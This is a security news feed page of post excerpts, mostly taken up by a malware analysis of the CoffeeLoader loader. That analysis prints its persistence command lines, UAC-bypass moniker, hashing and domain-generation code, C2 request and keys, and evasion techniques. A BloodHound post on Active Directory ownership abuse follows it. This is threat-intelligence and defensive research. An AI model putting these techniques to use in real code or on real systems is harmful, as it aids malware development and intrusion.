Security Boulevard

Why Compliance Frameworks are Crucial for NHIs? Could the answer to your organization’s cybersecurity woes lie in Non-Human Identities (NHIs)? The management of NHIs and their secrets has emerged as a key facet of cybersecurity strategy, with the potential to significantly decrease the risk of security breaches and data leaks. Non-Human Identities: The Silent Pillars […]

The post Which frameworks assist in ensuring compliance for NHIs? appeared first on Entro.

The post Which frameworks assist in ensuring compliance for NHIs? appeared first on Security Boulevard.

Is Your NHI Management GDPR Compliant? It isn’t just humans who have identities, but machines as well. In-depth understanding and control over NHIs provide organizations with an upper hand in maintaining stringent cybersecurity measures. But have you ever paused to question how Non-Human Identities management aligns with GDPR and other comparable standards? NHI Management and […]

The post How can I align our NHI management with GDPR and other standards? appeared first on Entro.

The post How can I align our NHI management with GDPR and other standards? appeared first on Security Boulevard.

Now that AI reasoning capabilities are blasting and becoming accessible, folks tend to argue that generative AI will bring us a new era of exploitation. More zero days, more vulnerabilities, more sophisticated, and in higher frequency. The emergence of more new exploitation techniques will significantly increase the number of new vulnerabilities. We have seen in […]

The post Generative AI: threat or opportunity? It depends on your adaptive speed! appeared first on HolistiCyber.

The post Generative AI: threat or opportunity? It depends on your adaptive speed! appeared first on Security Boulevard.

Broadcom today updated its VMware vDefend platform to add additional security intelligence capabilities along with a streamlined ability to micro-segment networks using code to programmatically deploy virtual firewalls. Additionally, Broadcom has made it simpler to deploy and scale out the Security Services Platform (SSP) it uses to provide a data lake for collecting telemetry data..

The post Broadcom Extends Scope of VMware vDefend Cybersecurity Platform appeared first on Security Boulevard.

At Constella, we’ve spent years analyzing how cybercriminals execute attacks that affect organizations of all sizes, whether they’re startups, local businesses, or global enterprises. One of the most revealing recent cases involves the abuse of Email Marketing Platforms like MailChimp, whose accounts are being compromised through account takeover (ATO), phishing, and social engineering tactics. These …

The post MailChimp Under Attack: How Cybercriminals Are Exploiting Email Marketing Platforms appeared first on Security Boulevard.

Author/Presenter: Andrea M. Matwyshyn

Our sincere appreciation to BSidesLV, and the Presenters/Authors for publishing their erudite Security BSidesLV24 content. Originating from the conference’s events located at the Tuscany Suites & Casino; and via the organizations YouTube channel.

Permalink

The post BSidesLV24 – IATC – Difficult Conversations appeared first on Security Boulevard.

ADAMnetworks Licensed Technology Partner (LTP) Program

Empowering MSPs, MSSPs & MDR Providers with Next-Gen Zero Trust Security

In today’s threat-filled digital landscape, reactive cybersecurity isn’t enough. Businesses, governments, and IT teams need proactive, intelligent defense that prevents attacks before they happen. That’s where ADAMnetworks—and our award-winning Zero Trust connectivity (ZTc) solution—comes in.

Through our Licensed Technology Partner (LTP) program, we equip Managed Service Providers with the tools, training, and support to deliver advanced protection and grow revenue.

“If I were in charge of securing an enterprise, I would not want to do it without this solution.”
— Steve Gibson, Security Expert

What Makes Our ZTc Solution Different?

✓ Proactive, Zero Trust Defense
Blocks threats like phishing, ransomware, and data exfiltration automatically—even when users make mistakes.

✓ Full Network Visibility
ZTc inventories every connected device and detects unauthorized access instantly—IT, OT, IoT, and IIoT included.

✓ Continuous, Device-Wide Protection
Applies Zero Trust enforcement across the entire network, securing every device and connection with no blind spots.

✓ SC Media’s “Best SASE Solution”
Industry recognition confirms ZTc’s leadership in security innovation.

See our recent awards Why Join the LTP Program?

Revenue Growth
Offer ZTc as a managed service. Generate recurring income through licensing, support, and security monitoring.

Partner Training & Certification
Equip your team (or your clients’) with the knowledge and skills to deploy and support ZTc effectively.

Reduced Complexity
Simplify operations with automatic device inventory, threat traffic shaping, and Shadow IT resolution.

Lead Generation
Get direct referrals from ADAMnetworks to expand your client base.

Market Differentiation
Stand out in a crowded MSP/MSSP market with a unique, award-winning Zero Trust solution.

Built-In Compliance
ZTc aligns with today’s strictest regulatory frameworks—ideal for sectors like finance, healthcare, and government.

Scalable for Any Network
ZTc grows with your clients, protecting small businesses to enterprise environments without complexity.

The Bottom Line

With ADAMnetworks’ LTP program, you don’t just offer cybersecurity—you deliver peace of mind.
You’ll protect your clients with advanced, always-on defense and build a scalable business around it.

Ready to Partner?

If you’re an MSP, MSSP, or MDR provider ready to offer the next level of cybersecurity, apply now to join the ADAMnetworks Licensed Technology Partner program. We’ll support you every step of the way.

Let’s bring Zero Trust to the front lines—together.

1 post - 1 participant

Read full topic

The post ADAMnetworks Licensed Technology Partner (LTP) Program appeared first on Security Boulevard.

As the new Snow White movie arrives in theaters with lackluster audience attendance (source), the absence of streaming options on platforms like Disney+ has nudged many users to seek pirated versions online.  From our perspective, this kind of consumer behavior isn’t new, every high-profile movie release without a digital option becomes an opportunity for attackers […]

The post Snow White — Beware the Bad Apple in the Torrent  appeared first on VERITI.

The post Snow White — Beware the Bad Apple in the Torrent  appeared first on Security Boulevard.

The post The Rise of Mobile Phishing and How to Prevent Mobile Phishing appeared first on AI Security Automation.

The post The Rise of Mobile Phishing and How to Prevent Mobile Phishing appeared first on Security Boulevard.

Track, measure, and prove your AppSec impact with the Mend.io Value Dashboard.

The post Introducing the Mend.io Value Dashboard: Measure and Showcase Your Security Impact appeared first on Security Boulevard.

via the respected Software Engineering expertise of Mikkel Noe-Nygaard and the lauded Software Engineering / Enterprise Agile Coaching work of Luxshan Ratnaravi at Comic Agilé!

Permalink

The post Comic Agilé – Luxshan Ratnaravi, Mikkel Noe-Nygaard – #330 — AI For Job Hunting appeared first on Security Boulevard.

Recently, two critical security flaws were discovered in Kentico Xperience 13, a popular digital experience platform (CMS). Tracked as CVE-2025-2746 and CVE-2025-2747, these vulnerabilities allow unauthenticated attackers to bypass the Staging Sync Server’s authentication, potentially gaining administrative control over the CMS. Both issues carry a CVSS score of 9.8 (Critical) (Warning: Multiple Critical & High...

The post Exploited! Kentico Xperience Staging Service Authentication Bypass Vulnerabilities (CVE-2025-2746 & CVE-2025-2747) appeared first on IONIX.

The post Exploited! Kentico Xperience Staging Service Authentication Bypass Vulnerabilities (CVE-2025-2746 & CVE-2025-2747) appeared first on Security Boulevard.

IntroductionZscaler ThreatLabz has identified a new sophisticated malware family that we named CoffeeLoader, which originated around September 2024. The purpose of the malware is to download and execute second-stage payloads while evading detection by endpoint-based security products. The malware uses numerous techniques to bypass security solutions, including a specialized packer that utilizes the GPU, call stack spoofing, sleep obfuscation, and the use of Windows fibers. ThreatLabz has observed CoffeeLoader being distributed via SmokeLoader, and both malware families share some behavioral similarities.Key TakeawaysCoffeeLoader is a new sophisticated malware loader designed to deploy second-stage payloads and evade host-based detection.CoffeeLoader implements a number of features to defeat endpoint security software such as call stack spoofing, sleep obfuscation, and the use of Windows fibers. The loader leverages a packer, which we named Armoury, that executes code on a system’s GPU to hinder analysis in virtual environments.CoffeeLoader uses a domain generation algorithm (DGA) if the primary command and control channels are unreachable, and uses certificate pinning to prevent TLS man-in-the-middle attacks.ThreatLabz observed CoffeeLoader being used to deploy Rhadamanthys shellcode.Technical AnalysisIn this section, we will analyze CoffeeLoader’s various components, anti-detection features, and network protocol.Similar to most crimeware families, CoffeeLoader samples are packed. ThreatLabz typically omits details related to a malware’s unpacking process because they are not relevant for analysis purposes. However, CoffeeLoader samples are protected by a distinct malware packer that leverages a system’s GPU to execute code that may complicate analysis in virtual environments. ThreatLabz has been tracking this packer as Armoury because it impersonates the legitimate Armoury Crate utility created by ASUS.Armoury malware packer Malware packed with Armoury typically has filenames such as ArmouryAIOSDK.dll and ArmouryA.dll. The packer hijacks some of the original Armoury Crate exports (such as Post_EntrypointReturn and freeBuffer) and replaces their contents with self-decrypting shellcode. The shellcode unpacks code that executes a decryption routine on a system’s GPU. The code uses the OpenCL library so there are no external dependencies or specific GPU hardware requirements. The implementation is likely based on an open source proof-of-concept.The Armoury GPU kernel source function passed to OpenCL is the following: __kernel void f(__global char* a,__global char* b,__global char* c,int d){c[get_global_id(0)]=a[get_global_id(0)]^b[get_global_id(0) % d];}Armoury performs an XOR operation with two 32-byte hardcoded strings, which are used to derive the XOR key that is then passed to the GPU kernel function. For example, if these embedded strings are .urAUf61P33NLgB4F3uDmBM60xYPAcNg and Mfm7MVsB8wtM1DmXekyyjbtGSys974xk, the resulting XOR key would be 63131f7618304573684447037d232f6c23580c3d0720397163012a697657360c (shown as a hex string for readability).This GPU kernel function takes 4 arguments, which includes: The XOR keyAn encoded input bufferA decoded output buffer The size of the XOR keyAfter the GPU executes the function, the decoded output buffer contains self-modifying shellcode, which is then passed back to the CPU to decrypt and execute the underlying malware. ThreatLabz has observed this packer used to protect both SmokeLoader and CoffeeLoader payloads. The following malware analysis sections apply specifically to CoffeeLoader.CoffeeLoader dropperThe first component after CoffeeLoader is unpacked is a dropper that performs an installation routine. ThreatLabz has observed multiple variants of the dropper that implement different functionality. In one version, the dropper first copies the original packed DLL to the user’s temporary directory with the filename ArmouryAIOSDK.dll. If the dropper has elevated privileges, the code executes the DLL via CreateProcess passing %SystemRoot%\system32\rundll32.exe, the path to the DLL, and the export name (Post_EntrypointReturn) to invoke. However, if the dropper is not running with elevated privileges, the code will attempt to bypass User Account Control (UAC) using the CMSTPLUA COM interface with the elevation moniker Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} and the ShellExec function (with the same arguments passed to CreateProcess). Note that this version of the dropper does not establish persistence. This version also imports several API function names by hash using a custom algorithm that is reproduced in Python below:def uint32(val):
return 0xffffffff & val
def hashval(val, initial_seed):
seed = initial_seed;
for j,i in enumerate(val.upper()):
seed = uint32(i + uint32(33 * seed))
return seedThe initial seed for the hash algorithm in one sample was the value 0x57, but this value is likely to change between samples (and differs between the seed value used in the stager component described in the following section).In some versions, the dropper establishes persistence using the Windows task scheduler. In older versions, the dropper used the command line utility schtasks.exe, while more recent versions use the Windows ITaskScheduler COM interface.In these versions that establish persistence, the dropper installation routine copies the packed CoffeeLoader DLL to one of the following installation paths:%PROGRAMDATA%\ArmouryAIOSDK.dll (if running with elevated privileges) %LOCALAPPDATA%\ArmouryAIOSDK.dll (if running without elevated privileges)The file attributes are then set to read-only, hidden, and system. The dropper then uses the SetEntriesInAclW API to deny the current user access to perform the following operations on the packed CoffeeLoader DLL (located at the installation path):DELETE (0x10000)FILE_WRITE_DATA (0x2)FILE_APPEND_DATA (0x4)FILE_WRITE_EA (Extended Attributes) (0x10)FILE_WRITE_ATTRIBUTES (0x100)The dropper establishes persistence via a scheduled task using a hardcoded name (e.g., AsusUpdateServiceUA). For older versions of CoffeeLoader, the dropper executes the native Windows utility %SystemRoot%\system32\schtasks.exe via CreateProcess with one of the following parameters:schtasks /Create /SC ONLOGON /TN AsusUpdateServiceUA /RL HIGHEST /TR %SystemRoot%\system32\rundll32.exe %PROGRAMDATA%\ArmouryAIOSDK.dll,[export_name] (if running with elevated privileges)schtasks /Create /SC MINUTE /MO 30 /TN AsusUpdateServiceUA /TR %SystemRoot%\system32\rundll32.exe %LOCALAPPDATA%\ArmouryAIOSDK.dll,[export_name] (if running without elevated privileges)If the dropper is running with elevated privileges, the scheduled task will be set to execute upon user logon with the highest run level. Otherwise, the task will be scheduled to run every 30 minutes. In the latest dropper version, the scheduled task is created to run every 10 minutes with the starting boundary value of 2005-01-01T12:05:00.After the installation process is complete, the dropper executes the stager component of CoffeeLoader, and exits.CoffeeLoader stagerThe CoffeeLoader stager creates a new dllhost.exe process in a suspended state. This DLL is located in the Windows %SystemRoot%\system32 directory. The stager resolves API functions with a custom hash function, which is identical to the algorithm described above in the dropper section, but with an initial seed value of 0xF1.The stager then uses the functions NtAllocateVirtualMemory, NtProtectVirtualMemory, and NtWriteVirtualMemory to inject the main CoffeeLoader module into the suspended dllhost.exe process. The thread context in the dllhost.exe process is then modified to point to the entry point of the main CoffeeLoader module, the thread is resumed (to start the main module), and the stager terminates.CoffeeLoader main moduleThe main CoffeeLoader module also resolves API function addresses by hash, but uses the DJB2 algorithm. The main module implements numerous techniques to evade detection by antivirus (AV) and Endpoint Detection and Response (EDRs) including call stack spoofing, sleep obfuscation, and leveraging Windows fibers.Call stack spoofingCoffeeLoader implements call stack spoofing, which is a technique that forges a call stack to mask the origin of a function call. This is designed to evade security software that analyzes call stack traces to identify suspicious behavior. The call stack spoofing implementation in CoffeeLoader is likely based on BokuLoader. The code sets up a synthetic stack frame by first searching for the byte pattern 0x23, 0xFF, which is a gadget for jmp rbx. This serves as a placeholder for the return address. CoffeeLoader then creates two origin frames: ntdll.RtlUserThreadStart+0x21 and kernel32.BaseThreadInitThunk+0x28. Note that the offset value 0x28 from BaseThreadInitThunk differs from many open source proof-of-concept implementations.The figure below shows an example of a call stack when the function RtlRandomEx is called from CoffeeLoader using call stack spoofing. Note that the CoffeeLoader module does not show up in the call stack. The frame labeled kernel32.SetDefaultCommConfigW+0xee5 is the address of the jmp rbx gadget.Figure 1: Example CoffeeLoader spoofed call stack trace for RtlRandomEx.The malware’s call stack spoofing function also attempts to avoid inline user-mode hooks by making indirect system calls. CoffeeLoader maps system calls to their corresponding system call numbers. In order to dynamically extract the system call numbers, CoffeeLoader searches each targeted function for the byte pattern 0x4C, 0x8B, 0xD1, 0xB8, which corresponds to the x64 assembly instructions:mov r10, rcx
mov eaxThe 4-byte value following the mov eax instruction is the system call number, which is stored in CoffeeLoader’s global configuration structure. The scan for these bytes continues until the byte 0xC3 (a return instruction) is reached. CoffeeLoader also searches for the byte pattern 0x0F, 0x05, which represents the syscall instruction in x64 assembly. When a suitable candidate is discovered, CoffeeLoader stores the address of this gadget in the malware’s global configuration. This gadget is then used whenever a targeted system call is made.Sleep obfuscationCoffeeLoader implements a technique known as sleep obfuscation that is designed to hide from security tools that scan memory. Using this method, the malware’s code and data are encrypted while in a sleep state. Thus, the malware’s (unencrypted) artifacts are present in memory only when its code is being executed. There are numerous open source examples that implement sleep obfuscation using Timer Queues, Waitable Timers, and Asynchronous Procedure Calls (APCs). CoffeeLoader supports different sleep obfuscation options based on an internal flag. Regardless of the execution timing method chosen, the following steps are performed:Generate a random 16-byte value used as a key for subsequent encryption operations.Walk and encrypt the malware’s heap memory with a native RC4 implementation (if a specific flag is enabled).Set the malware’s memory region to PAGE_READWRITE.Encrypt the malware’s memory region using SystemFunction032 (RC4).Wait a specific amount of time (passed as an argument; the default is 30 minutes).Decrypt the malware’s memory region using SystemFunction032 (RC4).Restore the malware’s memory region permissions to PAGE_EXECUTE_READ or PAGE_EXECUTE_READWRITE.Decrypt the malware’s heap memory using the same RC4 key (if previously encrypted).In order for sleep obfuscation to function properly, the malware must account for a process (such as a legitimate process with CoffeeLoader injected into it) that has Control Flow Guard (CFG) enabled. CFG is a security feature in Windows designed to mitigate memory corruption vulnerabilities by placing restrictions on where an application can execute code from. Some of CoffeeLoader’s evasion techniques perform actions that would ordinarily be blocked by CFG. Therefore, CoffeeLoader must take measures to bypass CFG. In order to accomplish this, CoffeeLoader first checks whether CFG is enabled in the malware’s process by calling NtQueryInformationProcess with the ProcessControlFlowGuardPolicy parameter. If CFG is enabled, the malware adds exceptions to CFG for the following functions by calling NtSetInformationVirtualMemory with the VmCfgCallTargetInformation class:NtContinueNtSetContextThreadNtGetContextThreadSystemFunction032WaitForSingleObjectExVirtualProtectNtSetEventNtTestAlertNtWaitForSingleObjectZwProtectVirtualMemoryRtlExitUserThreadWindows fibersWindows fibers are an obscure and lightweight mechanism for implementing user-mode multitasking. They allow a single thread to have multiple execution contexts, known as fibers, which can be manually switched between by the application rather than the Windows scheduler. CoffeeLoader has an option to use Windows fibers to implement sleep obfuscation as yet another way to evade detection, since some EDRs may not directly monitor or track them. Network protocolCoffeeLoader uses the HTTPS protocol for command-and-control (C2) communications. Requests are sent using POST requests with a hardcoded user-agent (which currently mimics an iPhone). An example request is shown below:POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_8; like Mac OS X) AppleWebKit/533.7 (KHTML, like Gecko) Chrome/47.0.1880.340 Mobile Safari/536.9
Content-Length: 158
Host: freeimagecdn.comThe malware implements certificate pinning to prevent TLS man-in-the-middle attacks from deciphering the network communications with the C2 server. The code checks that the public key size is 65 bytes and the following value:04:25:CB:02:73:3B:EE:43:B5:EC:B6:5E:A0:5C:9C:97:00:05:F7:42:4D:97:2A:52:1F:1B:EC:0C:01:6F:17:0F:A3:4E:0E:2E:5E:31:64:67:25:09:5D:BB:AB:6A:68:8D:2D:52:99:EA:08:25:58:ED:BD:52:39:92:52:70:3D:F4:8CThe HTTP POST body contains an encrypted binary protocol. Each packet is encrypted with a 16-byte RC4 key: 2a3a78dc3228d572661fd8dcc9f79cf1 and the response is decrypted using a different 16-byte RC4 key: bafc473b8b118b7c47e25fa1ade49ae7.CoffeeLoader currently supports two request message types:Message TypeDescription0x69Registration0x42Get task / report task statusTable 1: The request message types supported by CoffeeLoader.Both request message types start with the following header and all integer values are stored in big-endian byte order:typedef struct coffee_header {
DWORD msg_size;
DWORD magic_bytes; // 0xc0ffee42
DWORD bot_id;
DWORD msg_type; // 0x69 or 0x42
} coffee_header;Note that the magic bytes for this custom binary protocol are c0ffee42.struct coffee_registration_packet {
coffee_header hdr;
DWORD flag;
DWORD bot_id;
DWORD username_len;
LPSTR username;
DWORD computername_len;
LPSTR computername;
DWORD windows_domain_len;
LPSTR windows_domain;
DWORD image_path_name_len;
LPWSTR image_path_name;
DWORD process_id;
DWORD thread_id;
DWORD os_major_version;
DWORD os_minor_version;
DWORD os_product_type;
DWORD os_service_pack_major;
DWORD os_build_number;
DWORD os_major_or_minor_version_field;
DWORD integrity_level;
DWORD unknown; // hardcoded to 2
DWORD rand;
}Interestingly, all responses received from the C2 server are in little-endian byte order (in contrast to the big-endian byte order for requests). The response from the initial registration packet is the bot ID.CoffeeLoader then requests a task from the CoffeeLoader C2 by sending a request packet defined below:struct coffee_task_packet {
coffee_header hdr;
DWORD task_id;
DWORD bot_id;
}The task response message from the C2 server starts with the following header:typedef struct _coffee_response_header {
DWORD cmd_id;
DWORD task_id;
DWORD unused; // Possibly a checksum value of the payload
packet_blob payload;
} coffee_response_header;The packet blob structure contains an integer representing the size of the data, followed by the data as shown below:typedef struct _packet_blob {
DWORD size;
BYTE data[size];
} packet_blob;The task response message is more complex. The following table shows the commands implemented by CoffeeLoader, which provide features to inject and run raw shellcode, executables, and DLLs.Command IDDescription0x58Sleep.0x87Inject / run shellcode in a specified process.0x89Update sleep obfuscation method and timeout.0x91Write the payload executable to the user’s temporary directory and run.0x93Write the payload DLL to the user’s temporary directory and execute using rundll32.exe (supports calling exports).Table 2: Commands currently supported by CoffeeLoader.The payload in the CoffeeLoader response consists of one of the following command structures.struct cmd87 {
DWORD param1;
DWORD param2;
DWORD param3;
DWORD param4;
DWORD param5;
DWORD param6;
packet_blob payload_shellcode;
packet_blob filename_for_injection;
};
struct cmd89 {
DWORD param1;
};
struct cmd91 {
packet_blob filename;
packet_blob args;
DWORD param1;
DWORD param2;
packet_blob payload_exe;
};
struct cmd93 {
packet_blob filename;
packet_blob args;
DWORD param1;
DWORD param2;
DWORD param3;
packet_blob payload_dll;
};ThreatLabz has observed the CoffeeLoader C2 server providing multiple commands to inject and execute Rhadamanthys shellcode.Domain generation algorithm (DGA)CoffeeLoader samples contain a list of hardcoded C2 servers. If these servers are unreachable, the malware will revert to a domain generation algorithm (DGA). The DGA is seeded by the current date that is passed to a pseudorandom function. The result is then multiplied with the constant 33 twice and converted to a string. Finally, the .com TLD is appended to form the CoffeeLoader C2 domain. Thus, the CoffeeLoader DGA produces a single domain per day that can be used as a backup communication channel if the primary hardcoded C2s are unavailable. The following Python code replicates CoffeeLoader’s DGA code:def rand(seed):
return (0x41C64E6D * seed + 0x3039) & 0x7FFFFFFF
def generate(year, month, day):
return str(rand(33 * (33 * year + month) + day)) + “.com”Similarities With SmokeLoaderThreatLabz identified numerous overlaps between CoffeeLoader and SmokeLoader, including:Both leverage a stager that injects a main module into another process.Both generate a bot ID based on the computer name and volume serial number.Both create a mutex name based on the bot ID. Both resolve imports by hash, and use a global structure for internal variables and pointers to API functions.Both encrypt network traffic using a hardcoded RC4 key and a separate hardcoded RC4 key for decryption. CoffeeLoader uses the DJB2 hash algorithm to resolve imports in the main module, while SmokeLoader uses DJB2 for import hashing in the stager.Both make significant use of low level Windows APIs (e.g., Rtl, Zw and Nt functions).Both set the malware’s file attributes to FILE_ATTRIBUTE_SYSTEM and FILE_ATTRIBUTE_HIDDEN.Both use scheduled tasks to maintain persistence and the task runs every 10 minutes (when running without elevated privileges in the latest version of CoffeeLoader).In December 2024, a new version of SmokeLoader was allegedly announced. Many (but not all) of the features advertised in the SmokeLoader announcement, such as EDR and AV evasions, are found in CoffeeLoader. However, at the present time, it is too early to determine whether CoffeeLoader is the next version of SmokeLoader or whether these overlaps are a coincidence.ConclusionCoffeeLoader joins a crowded market of malware loaders. However, many of the features implemented by the author enable CoffeeLoader to contend with the competition. The loader provides advanced features that are beneficial to threat groups that strive to evade detection from AVs, EDRs, and malware sandboxes. The CoffeeLoader developer has integrated innovative offensive red team proof-of-concept ideas such as call stack spoofing, sleep obfuscation, and Windows fibers into the loader. There are also notable similarities between SmokeLoader and CoffeeLoader, with the former distributing the latter, but the exact relationship between the two malware families is not yet clear.Zscaler CoverageThe Zscaler Cloud Sandbox has been successful in detecting this campaign and its many variants. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for CoffeeLoader.Figure 2: Zscaler Cloud Sandbox report for CoffeeLoader.In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to CoffeeLoader at various levels with the following threat names:Win64.Downloader.CoffeeLoaderWin32.LPE.CMSTPLUAIndicators Of Compromise (IOCs)IndicatorDescriptionhttps://freeimagecdn[.]com/CoffeeLoader C2https://mvnrepo[.]net/CoffeeLoader C2c930eca887fdf45aef9553c258a403374c51b9c92c481c452ecf1a4e586d79d9CoffeeLoader SHA2568941b1f6d8b6ed0dbc5e61421abad3f1634d01db72df4b38393877bd111f3552CoffeeLoader SHA2565538b88eb2effa211a9c324b001e02802b7ccd0008b3af9284e32ab105dc9e6fCoffeeLoader SHA25670fafd3fefca2fd4a061d34e781136f93a47d856987832041d3c703658d60fc1CoffeeLoader SHA256bc1b750338bc3013517e5792da59fba0d9aa3965a9f65c2be7a584e9a70c5d91CoffeeLoader SHA2565fcd2e12723081f512fa438301690fb310610f4de3c191c7c732d56ece7f0499CoffeeLoader SHA256

The post CoffeeLoader: A Brew of Stealthy Techniques appeared first on Security Boulevard.

Authors/Presenters: Sick.Codes, Casey John Ellis

Our sincere appreciation to BSidesLV, and the Presenters/Authors for publishing their erudite Security BSidesLV24 content. Originating from the conference’s events located at the Tuscany Suites & Casino; and via the organizations YouTube channel.

Permalink

The post BSidesLV24 – IATC – Hungry, Hungry Hackers appeared first on Security Boulevard.

Highlights:

• Understanding Canadian API Standards: Key principles for secure government API development.
• Critical Importance of API Security: Why robust protection is vital for citizen data.
• Compliance and Trust: How adherence to standards builds public confidence.
• Key Security Considerations: Essential practices for Canadian organizations.
• Salt Security's Alignment: How the Salt API Security Platform supports Canadian government API security regulations.

Introduction:

Canada's digital infrastructure relies heavily on APIs, facilitating a range of services from citizen interactions to vital government data exchanges. This interconnectedness, though revolutionary, brings forth intricate security challenges. Comprehending and complying with the Government of Canada's API standards is now imperative rather than optional. We will delve into these standards, the increasing threat landscape, and examine how solutions like Salt Security can protect your APIs.

Understanding the API Standards Set by the Government of Canada:

The Digital Standards from the Government of Canada provide a well-defined framework for public sector API development. These standards highlight crucial elements that ensure APIs are effective, secure, and sustainable:

• RESTful architecture for uniformity.
• Clear message schemas for seamless interaction.
• A "Security First" approach.

These guidelines are essential for efficient government service delivery, concentrating on lifecycle management and optimizing performance.

The Importance of API Security in Canada:

Canadian government APIs are often responsible for handling sensitive citizen data, making them attractive targets for cyber threats. Non-compliance with government standards and security best practices can lead to severe consequences, including:

• Data breaches and violations of privacy.
• Disruptions in essential government operations.
• Loss of public confidence.

Thus, protecting these key interfaces is crucial for safeguarding citizen information and ensuring operational reliability.

Essential API Security Considerations for Canadian Organizations:

Organizations in Canada should embrace a layered security approach. This strategy includes strong authentication and authorization, data encryption, and thorough input validation to ward off attacks. Ongoing monitoring and logging of API traffic are essential for detecting anomalies and responding to issues. Additionally, regular vulnerability assessments and timely patches are critical. Incorporating security at every stage of the API lifecycle, as advocated by the "Security First" principle, is vital.

How Salt Security Safeguards Canadian APIs:

Salt Security provides a tailored solution that aligns with the Canadian government's Digital Standards. By offering comprehensive visibility and proactive security measures, Salt Security aids organizations in maintaining compliance and safeguarding sensitive data. The key features, along with their direct correlations to Canadian regulations, include:

Automated API Discovery:

• Alignment: Fundamental for "Security First" principles and lifecycle management.
• Outcome: Guarantees a complete inventory of APIs as required.

Posture Governance:

• Alignment: Ensures secure configurations crucial for lifecycle and performance management.
• Outcome: Preserves secure APIs throughout their lifecycle in accordance with standards.

AI-Driven Threat Detection:

• Alignment: Reinforces "Security First" with behavior-based, real-time prevention.
• Outcome: Actively identifies anomalies, in line with security-first strategies.

Sensitive Data Visibility:

• Alignment: Safeguards citizen data in transit, a primary concern for the government.
• Outcome: Oversees data flow through APIs to protect sensitive information.

Business Logic Flaw Detection:

• Alignment: Blocks attacks that target API functionality.
• Outcome: Reducing risks to service reliability and data protection.

Automated Executive Level Reporting:

• Alignment: Facilitates audits and ensures continued compliance.
• Outcome: Enhances compliance reporting to satisfy government requirements.

Conclusion:

Securing APIs is an essential responsibility for Canadian organizations, especially in government. By understanding and complying with the Digital Standards of the Government of Canada and employing cutting-edge API security solutions like Salt Security, organizations can safeguard sensitive data, maintain public trust, and support critical digital services.

If you want to learn more about Salt and how we can help you on your API Security journey through discovery, posture governance, and run-time threat protection, please contact us, schedule a demo, or check out our website.

The post Securing Canada’s Digital Backbone: Navigating API Compliance appeared first on Security Boulevard.

AI is now part of the botnet. See how it’s powering ATOs and fake accounts, and why real-time, multi-layered detection is the only way to fight back.

The post How AI is Fueling ATOs & Fake Account Creation—And Why Bot Detection Needs to Evolve appeared first on Security Boulevard.

The new SonarQube Server 2025 Release 2 contains significant enhancements across code quality, code security, and issue remediation with AI CodeFix. Read on to learn more about these great new capabilities.

The post SonarQube Server 2025 Release 2 Announcement appeared first on Security Boulevard.

Atlantis AIO, a tool available to hackers on the dark web, gives threat actors an automated tool to rapidly test millions of stolen credentials against email, ecommerce, and other online accounts on more than 140 email and other platforms in credential-stuffing attacks.

The post Hackers Use Atlantis AIO Tool to Automate Account Takeover Attacks appeared first on Security Boulevard.

tl;dr: Less FPs for Owns/WriteOwner and new Owns/WriteOwnerLimitedRights edges

Before we get started, if you’d prefer to listen to a 10-minute presentation instead of or to supplement reading this post, please check out the recording of our most recent BloodHound Release Recap webinar. You can also sign up for future webinars here.

Back in August, a BloodHound Enterprise (BHE) customer told us that they had implemented an Active Directory (AD) setting called BlockOwnerImplicitRights to help address some attack paths related to object ownership (e.g., Owns, WriteOwner), but the findings were still present in their graph.

Until this point, I had assumed that the owner of an AD object was always implicitly granted permissions to modify that object’s security descriptor to compromise the underlying computer/user (WriteDacl). This is the logic the Owns and WriteOwner edges were built upon. What was this setting I’d never heard of?

The first thing our team did was review the Microsoft documentation to estimate the work effort in removing these false positives.

Turns out, Microsoft introduced BlockOwnerImplicitRights as the 29th bit in a forest’s dSHeuristics attribute to prevent a vaguely-worded vulnerability where a user with permission to create computer-derived AD objects could modify security descriptors and sensitive attributes to elevate privileges in certain scenarios.

According to Microsoft, “The Owner of a security descriptor is implicitly granted READ_CONTROL and WRITE_DAC rights by default… these implicit rights are blocked when the following are TRUE:

• The BlockOwnerImplicitRights dsHeuristic is set to 1.
• The requester is a member of neither the Domain Administrators or the Enterprise Administrators group.
• The objectClass being added or modified is either of type computer or is derived from type computer.”

Next, we read Jim Sykora’s excellent Owner or Pwned whitepaper, which dives into a lot more technical detail on which principal becomes the owner when objects are created, what owner permissions are abusable in different scenarios, and proactive and reactive considerations for implementing preventative controls. I highly recommend reading it to dive further into these concepts.

Now things were starting to make sense. If I understood correctly, enforcing the BlockOwnerImplicitRights bit of the dSHeuristics attribute could prevent certain scenarios we have exploited in real customer environments during offensive operations.

Consider this example:

An organization’s server team uses a specific account to programmatically join new systems to the domain, for example using Microsoft Configuration Manager (formerly SCCM — I physically can’t write a post without mentioning it) or a PowerShell script.

Remember, the account that joins a computer to the domain becomes the owner of the created object in many scenarios (detailed further in Jim’s whitepaper).

Years later, a computer joined to the domain by this account is promoted to a domain controller or is added to tier zero and is now susceptible to WriteDacl abuse via the owner’s implicit rights if the account that joined the system to the domain is compromised.

We have encountered many scenarios where ancient domain join credentials are exposed in a script on a file share or user’s desktop or can be decrypted from the SCCM operating system deployment task sequence, allowing us to compromise every computer they joined to the domain via their implicit WriteDacl permission.

Enter the BlockOwnerImplicitRights attribute.

If implicit ownership rights are blocked for these computer objects, the account that joined a computer to the domain cannot easily compromise the underlying machine via implicit WriteDacl abuse, unless they are already a member of Domain Admins/Enterprise Admins.

Implicit owner rights are also blocked when an ACE explicitly grants a permission to the OWNER RIGHTS SID (S-1–3–4). In this case, the owner is only granted the specific permissions in these ACEs. Here is another reference explaining use cases for this SID.

To fully understand the mechanics of these settings and how they impacted BloodHound, Matt Creel (@Tw1sm) got to work redesigning the Owns edge to eliminate false positives and accurately depict where these security features were enabled.

First, we needed to create a new edge called OwnsLimitedRights to identify any specific permissions granted to the object owner when an ACE is defined for the OWNER RIGHTS SID.

To summarize, implicit ownership rights are blocked if either of the following conditions are true:

• The OWNER RIGHTS SID (S-1–3–4) is explicitly granted a permission

OR

• BlockOwnerImplicitRights (29th bit of dSHeuristics ) is set to 1
• The owner is not a member of Domain Admins or Enterprise Admins
• The owned object is a computer or derived type

We landed on this design for the Owns and OwnsLimitedRights edges that were updated/introduced in BloodHound v7.1.0.

How are WriteOwner permissions impacted by these changes?

